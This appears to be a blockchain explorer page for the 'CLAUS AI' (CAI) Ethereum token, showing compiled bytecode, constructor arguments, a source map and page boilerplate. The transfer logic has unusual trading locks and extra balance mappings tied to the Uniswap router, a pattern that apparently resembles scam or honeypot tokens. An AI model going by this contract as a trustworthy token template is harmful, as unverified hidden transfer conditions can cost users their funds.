1ae565b60405180910390fd5b6104f66000610cca565b565b6060600180546103d290611147565b60006105143384846106d5565b50600192915050565b6000546001600160a01b031633146105475760405162461bcd60e51b81526004016104e3906111ae565b600e805460ff1916911515919091179055565b6000546001600160a01b031633146105845760405162461bcd60e51b81526004016104e3906111ae565b6001600160a01b0381166105e95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104e3565b6105f281610cca565b50565b60006001600160a01b0384161580159061061757506001600160a01b03831615155b61066f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104e3565b6001600160a01b038481166000818152600d602090815260408083209488168084529482529182902086905590518581527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060019392505050565b3060009081526009602052604081205490506000836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161072e91815260200190565b60405180910390a3600e5460ff166107c3576000546001600160a01b038681169116146107c35760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016104e3565b600e54610100900460ff1680156107db575060065482115b80156107f05750600e5462010000900460ff16155b801561082e57507f000000000000000000000000d74f64f9ca19b7b0b972bacad6099b63fd19e0046001600160a01b0316856001600160a01b031614155b1561085e57600e805462ff000019166201000017905561084d82610d1a565b600e805462ff000019169055610a7b565b6006546001600160a01b0386166000908152600c60205260409020541180156108a057506006546001600160a01b0385166000908152600c6020526040902054115b156108de5750306000908152600960205260408120805484928392916108c79084906111e3565b909155506108d790508385610d53565b5050505050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316846001600160a01b03161415801561093757506001600160a01b0385166000908152600c602052604090205415155b8015610944575060065483115b801561098257507f000000000000000000000000d74f64f9ca19b7b0b972bacad6099b63fd19e0046001600160a01b0316846001600160a01b031614155b156109a65750506001600160a01b039091166000908152600c602052604090205550565b600e5462010000900460ff161580156109d657506001600160a01b0385166000908152600b602052604090205415155b8015610a1457507f000000000000000000000000d74f64f9ca19b7b0b972bacad6099b63fd19e0046001600160a01b0316856001600160a01b031614155b8015610a3657506001600160a01b0385166000908152600c6020526040902054155b15610a7b576006546001600160a01b0386166000908152600c6020526040902054610a619190611197565b6001600160a01b0386166000908152600b60205260409020555b6001600160a01b037f000000000000000000000000d74f64f9ca19b7b0b972bacad6099b63fd19e00481166000908152600a6020908152604080832054909316808352600b909152918120549003610aea576006546001600160a01b0382166000908152600b60205260409020555b7f000000000000000000000000d74f64f9ca19b7b0b972bacad6099b63fd19e0046001600160a01b039081166000908152600a6020526040902080546001600160a01b03191691871691909117905560035415801590610b6057506001600160a01b0386166000908152600c6020526040902054155b8015610b755750600e5462010000900460ff16155b8015610b9757506001600160a01b0385166000908152600c6020526040902054155b15610c1957606460035485610bac91906111fb565b610bb6919061121a565b9150610bc28285611197565b6001600160a01b038716600090815260096020526040812080549296508492909190610bef908490611197565b90915550503060009081526009602052604081208054849290610c139084906111e3565b90915550505b6001600160a01b03861660009081526009602052604081208054869290610c41908490611197565b90915550506001600160a01b03851660009081526009602052604081208054869290610c6e9084906111e3565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051610cba91815260200190565b60405180910390a3505050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000610d2760028361121a565b905047610d348230610d53565b6000610d408247611197565b9050610d4d838230610f15565b50505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610d8857610d8861123c565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2a9190611252565b81600181518110610e3d57610e3d61123c565b60200260200101906001600160a01b031690816001600160a01b031681525050610e88307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d856105f5565b5060405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790610ede90869060009086908890429060040161126f565b600060405180830381600087803b158015610ef857600080fd5b505af1158015610f0c573d6000803e3d6000fd5b50505050505050565b610f40307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d856105f5565b5060405163f305d71960e01b81523060048201526024810184905260006044820181905260648201526001600160a01b0382811660848301524260a48301527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063f305d71990849060c40160606040518083038185885af1158015610fcb573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ff091906112e0565b505050505050565b600060208083528351808285015260005b8181101561102557858101830151858201604001528201611009565b81811115611037576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146105f257600080fd5b6000806040838503121561107557600080fd5b82356110808161104d565b946020939093013593505050565b6000806000606084860312156110a357600080fd5b83356110ae8161104d565b925060208401356110be8161104d565b929592945050506040919091013590565b6000602082840312156110e157600080fd5b81356104628161104d565b600080604083850312156110ff57600080fd5b823561110a8161104d565b9150602083013561111a8161104d565b809150509250929050565b60006020828403121561113757600080fd5b8135801515811461046257600080fd5b600181811c9082168061115b57607f821691505b60208210810361117b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000828210156111a9576111a9611181565b500390565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600082198211156111f6576111f6611181565b500190565b600081600019048311821515161561121557611215611181565b500290565b60008261123757634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561126457600080fd5b81516104628161104d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156112bf5784516001600160a01b03168352938301939183019160010161129a565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156112f557600080fd5b835192506020840151915060408401519050925092509256fea26469706673582212204e84897a7b10610cf1b6a181e20500294266d468764dfa2e8f6e996f16f40adb64736f6c634300080d0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000000000000000000000000000000000000000000008434c41555320414900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034341490000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : Name (string): CLAUS AI
Arg [1] : Symbol (string): CAI
Arg [2] : V2IDEXCompile (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [4] : 434c415553204149000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [6] : 4341490000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

9201:6329:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10782:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11308:137;;;;;;;;;;-1:-1:-1;11308:137:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;11308:137:0;1072:187:1;10871:86:0;;;;;;;;;;-1:-1:-1;10942:7:0;;10871:86;;;1410:25:1;;;1398:2;1383:18;10871:86:0;1264:177:1;11809:279:0;;;;;;;;;;-1:-1:-1;11809:279:0;;;;;:::i;:::-;;:::i;9979:42::-;;;;;;;;;;-1:-1:-1;9979:42:0;;;;;;;;;;;10963:85;;;;;;;;;;-1:-1:-1;11031:9:0;;;;10963:85;;11194:108;;;;;;;;;;-1:-1:-1;11194:108:0;;;;;:::i;:::-;-1:-1:-1;;;;;11278:16:0;11251:7;11278:16;;;:7;:16;;;;;;;11194:108;8179:94;;;;;;;;;;;;;:::i;:::-;;7969:82;;;;;;;;;;-1:-1:-1;8015:7:0;8042:6;-1:-1:-1;;;;;8042:6:0;7969:82;;;-1:-1:-1;;;;;2323:32:1;;;2305:51;;2293:2;2278:18;7969:82:0;2159:203:1;10689:87:0;;;;;;;;;;;;;:::i;10030:47::-;;;;;;;;;;;;;;;12094:164;;;;;;;;;;-1:-1:-1;12094:164:0;;;;;:::i;:::-;;:::i;9923:21::-;;;;;;;;;;-1:-1:-1;9923:21:0;;;;;;;;;;;9303:26;;;;;;;;;;;;;;;;11054:134;;;;;;;;;;-1:-1:-1;11054:134:0;;;;;:::i;:::-;-1:-1:-1;;;;;11153:18:0;;;11126:7;11153:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;11054:134;10084:51;;;;;;;;;;;;;;;15024:104;;;;;;;;;;-1:-1:-1;15024:104:0;;;;;:::i;:::-;;:::i;8279:187::-;;;;;;;;;;-1:-1:-1;8279:187:0;;;;;:::i;:::-;;:::i;10782:83::-;10819:13;10852:5;10845:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10782:83;:::o;11308:137::-;11376:4;11400:37;11409:10;11421:7;11430:6;11400:8;:37::i;:::-;11393:44;11308:137;-1:-1:-1;;;11308:137:0:o;11809:279::-;11934:4;11951:41;11966:6;11974:9;11985:6;11951:14;:41::i;:::-;-1:-1:-1;;;;;12039:19:0;;;;;;:11;:19;;;;;;;;12027:10;12039:31;;;;;;;;;12010:70;;12019:6;;12039:40;;12073:6;;12039:40;:::i;:::-;12010:8;:70::i;:::-;12003:77;11809:279;-1:-1:-1;;;;11809:279:0:o;8179:94::-;8015:7;8042:6;-1:-1:-1;;;;;8042:6:0;1988:10;8098:23;8090:68;;;;-1:-1:-1;;;8090:68:0;;;;;;;:::i;:::-;;;;;;;;;8244:21:::1;8262:1;8244:9;:21::i;:::-;8179:94::o:0;10689:87::-;10728:13;10761:7;10754:14;;;;;:::i;12094:164::-;12166:4;12183:45;12198:10;12210:9;12221:6;12183:14;:45::i;:::-;-1:-1:-1;12246:4:0;12094:164;;;;:::o;15024:104::-;8015:7;8042:6;-1:-1:-1;;;;;8042:6:0;1988:10;8098:23;8090:68;;;;-1:-1:-1;;;8090:68:0;;;;;;;:::i;:::-;15094:11:::1;:26:::0;;-1:-1:-1;;15094:26:0::1;::::0;::::1;;::::0;;;::::1;::::0;;15024:104::o;8279:187::-;8015:7;8042:6;-1:-1:-1;;;;;8042:6:0;1988:10;8098:23;8090:68;;;;-1:-1:-1;;;8090:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8368:22:0;::::1;8360:73;;;::::0;-1:-1:-1;;;8360:73:0;;4477:2:1;8360:73:0::1;::::0;::::1;4459:21:1::0;4516:2;4496:18;;;4489:30;4555:34;4535:18;;;4528:62;-1:-1:-1;;;4606:18:1;;;4599:36;4652:19;;8360:73:0::1;4275:402:1::0;8360:73:0::1;8444:19;8454:8;8444:9;:19::i;:::-;8279:187:::0;:::o;11451:352::-;11568:4;-1:-1:-1;;;;;11593:19:0;;;;;;:44;;-1:-1:-1;;;;;;11616:21:0;;;;11593:44;11585:93;;;;-1:-1:-1;;;11585:93:0;;4884:2:1;11585:93:0;;;4866:21:1;4923:2;4903:18;;;4896:30;4962:34;4942:18;;;4935:62;-1:-1:-1;;;5013:18:1;;;5006:34;5057:19;;11585:93:0;4682:400:1;11585:93:0;-1:-1:-1;;;;;11689:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;11741:32;;1410:25:1;;;11741:32:0;;1383:18:1;11741:32:0;;;;;;;-1:-1:-1;11791:4:0;11451:352;;;;;:::o;12264:2073::-;12412:4;12372:19;11278:16;;;:7;:16;;;;;;12372:46;;12420:24;12481:9;-1:-1:-1;;;;;12460:47:0;12469:10;-1:-1:-1;;;;;12460:47:0;;12492:14;12460:47;;;;1410:25:1;;1398:2;1383:18;;1264:177;12460:47:0;;;;;;;;12531:11;;;;12526:138;;8015:7;8042:6;-1:-1:-1;;;;;12554:21:0;;;8042:6;;12554:21;12546:115;;;;-1:-1:-1;;;12546:115:0;;5289:2:1;12546:115:0;;;5271:21:1;5328:2;5308:18;;;5301:30;5367:34;5347:18;;;5340:62;5438:33;5418:18;;;5411:61;5489:19;;12546:115:0;5087:427:1;12546:115:0;12680:9;;;;;;;:36;;;;;12707:9;;12693:11;:23;12680:36;:49;;;;-1:-1:-1;12721:8:0;;;;;;;12720:9;12680:49;:93;;;;;12757:16;-1:-1:-1;;;;;12733:40:0;:10;-1:-1:-1;;;;;12733:40:0;;;12680:93;12676:925;;;12777:8;:15;;-1:-1:-1;;12777:15:0;;;;;12794:25;12807:11;12794:12;:25::i;:::-;12834:8;:16;;-1:-1:-1;;12834:16:0;;;12676:925;;;12899:9;;-1:-1:-1;;;;;12872:24:0;;;;;;:12;:24;;;;;;:36;:85;;;;-1:-1:-1;12948:9:0;;-1:-1:-1;;;;;12912:23:0;;;;;;:12;:23;;;;;;:45;12872:85;12868:733;;;-1:-1:-1;13025:4:0;13009:22;;;;:7;:22;;;;;:42;;12980:14;;;;13009:22;:42;;12980:14;;13009:42;:::i;:::-;;;;-1:-1:-1;13053:43:0;;-1:-1:-1;13070:14:0;13086:9;13053:16;:43::i;:::-;13111:7;;12264:2073;;;:::o;12868:733::-;13162:14;-1:-1:-1;;;;;13141:36:0;:9;-1:-1:-1;;;;;13141:36:0;;;:78;;;;-1:-1:-1;;;;;;13181:34:0;;13218:1;13181:34;;;:12;:34;;;;;;:38;;13141:78;:108;;;;;13240:9;;13223:14;:26;13141:108;:151;;;;;13276:16;-1:-1:-1;;;;;13253:39:0;:9;-1:-1:-1;;;;;13253:39:0;;;13141:151;13137:464;;;-1:-1:-1;;;;;;;13309:23:0;;;;;;;:12;:23;;;;;:40;-1:-1:-1;12264:2073:0:o;13137:464::-;13380:8;;;;;;;13379:9;:39;;;;-1:-1:-1;;;;;;13392:22:0;;13417:1;13392:22;;;:10;:22;;;;;;:26;;13379:39;:83;;;;;13446:16;-1:-1:-1;;;;;13432:30:0;:10;-1:-1:-1;;;;;13432:30:0;;;13379:83;:116;;;;-1:-1:-1;;;;;;13466:24:0;;;;;;:12;:24;;;;;;:29;13379:116;13375:226;;;13580:9;;-1:-1:-1;;;;;13553:24:0;;;;;;:12;:24;;;;;;:36;;13580:9;13553:36;:::i;:::-;-1:-1:-1;;;;;13512:22:0;;;;;;:10;:22;;;;;:77;13375:226;-1:-1:-1;;;;;13647:16:0;13631:33;;13611:16;13631:33;;;:15;:33;;;;;;;;;;;;13670:21;;;:10;:21;;;;;;;:26;;13666:75;;13732:9;;-1:-1:-1;;;;;13708:21:0;;;;;;:10;:21;;;;;:33;13666:75;13759:16;-1:-1:-1;;;;;13743:33:0;;;;;;;:15;:33;;;;;:55;;-1:-1:-1;;;;;;13743:55:0;;;;;;;;;;13804:7;;:21;;;;:54;;-1:-1:-1;;;;;;13829:24:0;;;;;;:12;:24;;;;;;:29;13804:54;:67;;;;-1:-1:-1;13863:8:0;;;;;;;13862:9;13804:67;:109;;;;-1:-1:-1;;;;;;13885:23:0;;;;;;:12;:23;;;;;;:28;13804:109;13800:341;;;13975:3;13964:7;;13947:14;:24;;;;:::i;:::-;13946:32;;;;:::i;:::-;13917:61;-1:-1:-1;13993:34:0;13917:61;13993:34;;:::i;:::-;-1:-1:-1;;;;;14042:19:0;;;;;;:7;:19;;;;;:39;;13993:34;;-1:-1:-1;14065:16:0;;14042:19;;;:39;;14065:16;;14042:39;:::i;:::-;;;;-1:-1:-1;;14112:4:0;14096:22;;;;:7;:22;;;;;:42;;14122:16;;14096:22;:42;;14122:16;;14096:42;:::i;:::-;;;;-1:-1:-1;;13800:341:0;-1:-1:-1;;;;;14151:19:0;;;;;;:7;:19;;;;;:47;;14184:14;;14151:19;:47;;14184:14;;14151:47;:::i;:::-;;;;-1:-1:-1;;;;;;;14209:18:0;;;;;;:7;:18;;;;;:46;;14241:14;;14209:18;:46;;14241:14;;14209:46;:::i;:::-;;;;;;;;14293:9;-1:-1:-1;;;;;14262:67:0;14271:10;-1:-1:-1;;;;;14262:67:0;;14314:14;14262:67;;;;1410:25:1;;1398:2;1383:18;;1264:177;14262:67:0;;;;;;;;12361:1976;;;12264:2073;;;:::o;8472:194::-;8534:16;8563:6;;-1:-1:-1;;;;;8580:27:0;;;-1:-1:-1;;;;;;8580:27:0;;;;;;8623:40;;8563:6;;;;;;;8623:40;;8534:16;8623:40;8523:143;8472:194;:::o;14687:327::-;14744:12;14759:10;14768:1;14759:6;:10;:::i;:::-;14744:25;-1:-1:-1;14807:21:0;14839:37;14744:25;14870:4;14839:16;:37::i;:::-;14887:22;14912:40;14936:16;14912:21;:40;:::i;:::-;14887:65;;14963:43;14970:4;14976:14;15000:4;14963:6;:43::i;:::-;14733:281;;;14687:327;:::o;15134:393::-;15236:16;;;15250:1;15236:16;;;;;;;;15212:21;;15236:16;;;;;;;;;;-1:-1:-1;15236:16:0;15212:40;;15281:4;15263;15268:1;15263:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;15263:23:0;;;-1:-1:-1;;;;;15263:23:0;;;;;15307:14;-1:-1:-1;;;;;15307:19:0;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15297:4;15302:1;15297:7;;;;;;;;:::i;:::-;;;;;;:31;-1:-1:-1;;;;;15297:31:0;;;-1:-1:-1;;;;;15297:31:0;;;;;15339:61;15356:4;15371:14;15388:11;15339:8;:61::i;:::-;-1:-1:-1;15411:108:0;;-1:-1:-1;;;15411:108:0;;-1:-1:-1;;;;;15411:14:0;:65;;;;:108;;15477:11;;15490:1;;15493:4;;15499:2;;15503:15;;15411:108;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15201:326;15134:393;;:::o;14380:301::-;14500:60;14517:4;14532:14;14549:10;14500:8;:60::i;:::-;-1:-1:-1;14571:102:0;;-1:-1:-1;;;14571:102:0;;14628:4;14571:102;;;7893:34:1;7943:18;;;7936:34;;;14647:1:0;7986:18:1;;;7979:34;;;8029:18;;;8022:34;-1:-1:-1;;;;;8093:15:1;;;8072:19;;;8065:44;14657:15:0;8125:19:1;;;8118:35;14571:14:0;:30;;;;14609:9;;7827:19:1;;14571:102:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;14380:301;;;:::o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;752:315;820:6;828;881:2;869:9;860:7;856:23;852:32;849:52;;;897:1;894;887:12;849:52;936:9;923:23;955:31;980:5;955:31;:::i;:::-;1005:5;1057:2;1042:18;;;;1029:32;;-1:-1:-1;;;752:315:1:o;1446:456::-;1523:6;1531;1539;1592:2;1580:9;1571:7;1567:23;1563:32;1560:52;;;1608:1;1605;1598:12;1560:52;1647:9;1634:23;1666:31;1691:5;1666:31;:::i;:::-;1716:5;-1:-1:-1;1773:2:1;1758:18;;1745:32;1786:33;1745:32;1786:33;:::i;:::-;1446:456;;1838:7;;-1:-1:-1;;;1892:2:1;1877:18;;;;1864:32;;1446:456::o;1907:247::-;1966:6;2019:2;2007:9;1998:7;1994:23;1990:32;1987:52;;;2035:1;2032;2025:12;1987:52;2074:9;2061:23;2093:31;2118:5;2093:31;:::i;2367:388::-;2435:6;2443;2496:2;2484:9;2475:7;2471:23;2467:32;2464:52;;;2512:1;2509;2502:12;2464:52;2551:9;2538:23;2570:31;2595:5;2570:31;:::i;:::-;2620:5;-1:-1:-1;2677:2:1;2662:18;;2649:32;2690:33;2649:32;2690:33;:::i;:::-;2742:7;2732:17;;;2367:388;;;;;:::o;2989:273::-;3045:6;3098:2;3086:9;3077:7;3073:23;3069:32;3066:52;;;3114:1;3111;3104:12;3066:52;3153:9;3140:23;3206:5;3199:13;3192:21;3185:5;3182:32;3172:60;;3228:1;3225;3218:12;3267:380;3346:1;3342:12;;;;3389;;;3410:61;;3464:4;3456:6;3452:17;3442:27;;3410:61;3517:2;3509:6;3506:14;3486:18;3483:38;3480:161;;3563:10;3558:3;3554:20;3551:1;3544:31;3598:4;3595:1;3588:15;3626:4;3623:1;3616:15;3480:161;;3267:380;;;:::o;3652:127::-;3713:10;3708:3;3704:20;3701:1;3694:31;3744:4;3741:1;3734:15;3768:4;3765:1;3758:15;3784:125;3824:4;3852:1;3849;3846:8;3843:34;;;3857:18;;:::i;:::-;-1:-1:-1;3894:9:1;;3784:125::o;3914:356::-;4116:2;4098:21;;;4135:18;;;4128:30;4194:34;4189:2;4174:18;;4167:62;4261:2;4246:18;;3914:356::o;5519:128::-;5559:3;5590:1;5586:6;5583:1;5580:13;5577:39;;;5596:18;;:::i;:::-;-1:-1:-1;5632:9:1;;5519:128::o;5652:168::-;5692:7;5758:1;5754;5750:6;5746:14;5743:1;5740:21;5735:1;5728:9;5721:17;5717:45;5714:71;;;5765:18;;:::i;:::-;-1:-1:-1;5805:9:1;;5652:168::o;5825:217::-;5865:1;5891;5881:132;;5935:10;5930:3;5926:20;5923:1;5916:31;5970:4;5967:1;5960:15;5998:4;5995:1;5988:15;5881:132;-1:-1:-1;6027:9:1;;5825:217::o;6179:127::-;6240:10;6235:3;6231:20;6228:1;6221:31;6271:4;6268:1;6261:15;6295:4;6292:1;6285:15;6311:251;6381:6;6434:2;6422:9;6413:7;6409:23;6405:32;6402:52;;;6450:1;6447;6440:12;6402:52;6482:9;6476:16;6501:31;6526:5;6501:31;:::i;6567:980::-;6829:4;6877:3;6866:9;6862:19;6908:6;6897:9;6890:25;6934:2;6972:6;6967:2;6956:9;6952:18;6945:34;7015:3;7010:2;6999:9;6995:18;6988:31;7039:6;7074;7068:13;7105:6;7097;7090:22;7143:3;7132:9;7128:19;7121:26;;7182:2;7174:6;7170:15;7156:29;;7203:1;7213:195;7227:6;7224:1;7221:13;7213:195;;;7292:13;;-1:-1:-1;;;;;7288:39:1;7276:52;;7383:15;;;;7348:12;;;;7324:1;7242:9;7213:195;;;-1:-1:-1;;;;;;;7464:32:1;;;;7459:2;7444:18;;7437:60;-1:-1:-1;;;7528:3:1;7513:19;7506:35;7425:3;6567:980;-1:-1:-1;;;6567:980:1:o;8164:306::-;8252:6;8260;8268;8321:2;8309:9;8300:7;8296:23;8292:32;8289:52;;;8337:1;8334;8327:12;8289:52;8366:9;8360:16;8350:26;;8416:2;8405:9;8401:18;8395:25;8385:35;;8460:2;8449:9;8445:18;8439:25;8429:35;;8164:306;;;;;:::o

Swarm Source

ipfs://4e84897a7b10610cf1b6a181e20500294266d468764dfa2e8f6e996f16f40adb
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.